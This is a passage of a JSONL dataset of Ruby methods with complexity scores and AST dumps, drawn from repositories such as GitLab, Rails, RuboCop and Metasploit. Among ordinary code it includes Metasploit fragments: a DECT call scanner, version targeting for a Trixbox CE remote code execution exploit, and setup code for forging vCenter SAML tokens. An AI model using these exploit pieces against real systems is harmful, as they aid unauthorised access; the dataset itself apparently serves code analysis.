'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mcl\",{\"type\":\"send\",\"children\":[null,\"generate_mcl\"]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"mcl\"]}]}]}]}","id":"b53dc8b2-6ff7-44a1-9cb9-0ea57d7c375f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_gists_import/importer/gist_importer.rb","start_line":24,"raw_source":"def execute\n          validate_gist!\n\n          @snippet = build_snippet\n          import_repository if snippet.save!\n          validate_repository!\n\n          ServiceResponse.success\n        rescue FileCountLimitError, RepoSizeLimitError, SnippetRepositoryError => exception\n          fail_and_track(snippet, exception)\n        end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_gist!\"]},{\"type\":\"ivasgn\",\"children\":[\"@snippet\",{\"type\":\"send\",\"children\":[null,\"build_snippet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"import_repository\"]},null]},{\"type\":\"send\",\"children\":[null,\"validate_repository!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileCountLimitError\"]},{\"type\":\"const\",\"children\":[null,\"RepoSizeLimitError\"]},{\"type\":\"const\",\"children\":[null,\"SnippetRepositoryError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"send\",\"children\":[null,\"fail_and_track\",{\"type\":\"send\",\"children\":[null,\"snippet\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]},null]}]}","id":"33fb5c88-05b6-4e31-8053-7f01a5d16127"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/block_length.rb","start_line":52,"raw_source":"def on_block(node)\n          return if allowed_method?(node.method_name) || matches_allowed_pattern?(node.method_name)\n          return if method_receiver_excluded?(node)\n          return if node.class_constructor?\n\n          check_code_length(node)\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"matches_allowed_pattern?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_receiver_excluded?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"class_constructor?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_code_length\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"f40142b4-22f9-4fc8-bcba-9180087ba2ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/dect/call_scanner.rb","start_line":41,"raw_source":"def run\n    @calls = {}\n\n    print_status(\"Opening interface: #{datastore['INTERFACE']}\")\n    print_status(\"Using band: #{datastore['BAND']}\")\n\n    open_coa\n\n    begin\n      print_status('Changing to call scan mode.')\n      call_scan_mode\n      print_status('Scanning...')\n\n      loop do\n        data = poll_coa\n        if data\n          parsed_data = parse_call(data)\n          parsed_data['time'] = Time.now\n          print_good(\"Found active call on: #{parsed_data['rfpi']}\")\n          @calls[parsed_data['time']] = parsed_data\n        end\n\n        next_channel\n\n        vprint_status(\"Switching to channel: #{channel}\")\n        select(nil, nil, nil, 1)\n      end\n    ensure\n      print_status('Closing interface')\n      stop_coa\n      close_coa\n    end\n\n    print_results\n  end","complexity_score":40.88,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@calls\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Opening interface: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using band: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BAND\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"open_coa\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Changing to call scan mode.\"]}]},{\"type\":\"send\",\"children\":[null,\"call_scan_mode\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Scanning...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"poll_coa\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_data\",{\"type\":\"send\",\"children\":[null,\"parse_call\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found active call on: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rfpi\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@calls\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time\"]}]},{\"type\":\"lvar\",\"children\":[\"parsed_data\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"next_channel\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Switching to channel: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Closing interface\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_coa\"]},{\"type\":\"send\",\"children\":[null,\"close_coa\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_results\"]}]}]}","id":"7620c247-fc49-4677-bc15-8c008c6c09a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb","start_line":83,"raw_source":"def get_target(res)\n    version = res.body.scan(/v(\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first\n    if version.nil?\n      version = res.body.scan(/Version: (\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first\n      if version.nil?\n        print_error(\"#{peer} - Unable to grab version of Trixbox CE installed on target!\")\n        return nil\n      end\n    end\n    print_good(\"#{peer} - Trixbox CE v#{version} identified.\")\n    if Rex::Version.new(version).between?(Rex::Version.new('2.6.0.0'), Rex::Version.new('2.8.0.4'))\n      @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')\n    elsif Rex::Version.new(version).between?(Rex::Version.new('2.0.0.0'), Rex::Version.new('2.4.9.9'))\n      @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')\n    elsif Rex::Version.new(version).between?(Rex::Version.new('1.2.0.0'), Rex::Version.new('1.9.9.9'))\n      @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')\n    else\n      return nil\n    end\n    return version\n  end","complexity_score":57.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"v(\\\\d.\\\\d.{0,1}\\\\d{0,1}.{0,1}\\\\d{0,1})\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Version: (\\\\d.\\\\d.{0,1}\\\\d{0,1}.{0,1}\\\\d{0,1})\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to grab version of Trixbox CE installed on target!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Trixbox CE v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" identified.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.6.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.8.0.4\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/maint/modules/endpointcfg/endpoint_devicemap.php\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"2.4.9.9\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/maint/modules/11_endpointcfg/endpoint_devicemap.php\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.2.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.9.9.9\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/maint/endpoint_devicemap.php\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"5bf615c5-d4b4-4a83-8ab8-2a4b3e38f6ca"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/post_mover_spec.rb","start_line":3390,"raw_source":"def create_post_timing(post, user, msecs)\n      PostTiming.create!(\n        topic_id: post.topic_id,\n        user_id: user.id,\n        post_number: post.post_number,\n        msecs: msecs,\n      )\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_post_timing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"msecs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostTiming\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msecs\"]},{\"type\":\"lvar\",\"children\":[\"msecs\"]}]}]}]}]}","id":"9a4bdfb4-1a98-4e54-b135-d46d7b6dd222"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb","start_line":36,"raw_source":"def explicit_primary_key_default?(column)\n            column.type == :integer && !column.auto_increment?\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"explicit_primary_key_default?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"auto_increment?\"]},\"!\"]}]}]}","id":"89d8f702-be2b-40c0-9f5b-f4e3ee990c30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240916130528_add_incident_management_escalation_rules_project_id_fk.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :incident_management_escalation_rules, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"incident_management_escalation_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"26b31e1f-c4cd-40ff-9c6e-08e2cbfff511"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/attachments/cleanup_uncontainered_job.rb","start_line":34,"raw_source":"def perform\n    Attachment\n      .where(container: nil)\n      .where(too_old)\n      .destroy_all\n\n    Attachment\n      .pending_direct_upload\n      .where(too_old)\n      .destroy_all # prepared direct uploads that never finished\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"too_old\"]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"pending_direct_upload\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"too_old\"]}]},\"destroy_all\"]}]}]}","id":"1edbba48-f5a8-4f47-a106-2055a94261f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb","start_line":192,"raw_source":"def init_vsphere_login\n    res = send_request_cgi({\n      'uri' => '/ui/login',\n      'method' => 'GET'\n    })\n\n    unless res\n      fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')\n    end\n\n    unless res.code == 302\n      fail_with(Msf::Exploit::Failure::UnexpectedReply, \"#{rhost} - expected HTTP 302, got HTTP #{res.code}\")\n    end\n\n    datastore['TARGETURI'] = res['location']\n    uri = target_uri\n\n    query = queryparse(uri.query || '')\n\n    unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest']))\n      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET')\n    end\n\n    if !query['RelayState'].nil?\n      @vcenter_saml_relay_state = CGI.unescape(query['RelayState'])\n      vprint_status(\"Response included RelayState: #{@vcenter_saml_relay_state}\")\n    end\n\n    vsphere_saml_request_gz = Base64.strict_decode64(vsphere_saml_request_query)\n    vsphere_saml_request = Zlib::Inflate.new(-Zlib::MAX_WBITS).inflate(vsphere_saml_request_gz)\n\n    req = vsphere_saml_request.to_s\n    doc = REXML::Document.new(req)\n\n    @vcenter_saml_id = doc.root.attributes['ID'].strip\n    @vcenter_saml_issue = doc.root.attributes['IssueInstant'].strip\n    @vcenter_saml_user = username.strip\n    @vcenter_saml_domain = domain.strip\n    @vcenter_saml_response_id = SecureRandom.hex.strip\n    @vcenter_saml_assert_id = SecureRandom.uuid.strip\n    @vcenter_saml_idx_id = SecureRandom.hex.strip\n\n    @vcenter_saml_not_before = (Time.now.utc - vc_token_before_skew).iso8601.strip\n    @vcenter_saml_not_after = (Time.now.utc + vc_token_after_skew).iso8601.strip\n  end","complexity_score":93.9,"ast_json":"{\"type\":\"def\",\"children\":[\"init_vsphere_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/ui/login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Could not reach SAML endpoint\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" - expected HTTP 302, got HTTP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"queryparse\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vsphere_saml_request_query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SAMLRequest\"]}]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"SAMLRequest query parameter was not returned with HTTP GET\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RelayState\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_relay_state\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RelayState\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Response included RelayState: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vcenter_saml_relay_state\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vsphere_saml_request_gz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"lvar\",\"children\":[\"vsphere_saml_request_query\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vsphere_saml_request\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"Inflate\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"MAX_WBITS\"]},\"-@\"]}]},\"inflate\",{\"type\":\"lvar\",\"children\":[\"vsphere_saml_request_gz\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vsphere_saml_request\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REXML\"]},\"Document\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"root\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ID\"]}]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"root\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"IssueInstant\"]}]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_response_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_assert_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_idx_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_not_before\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"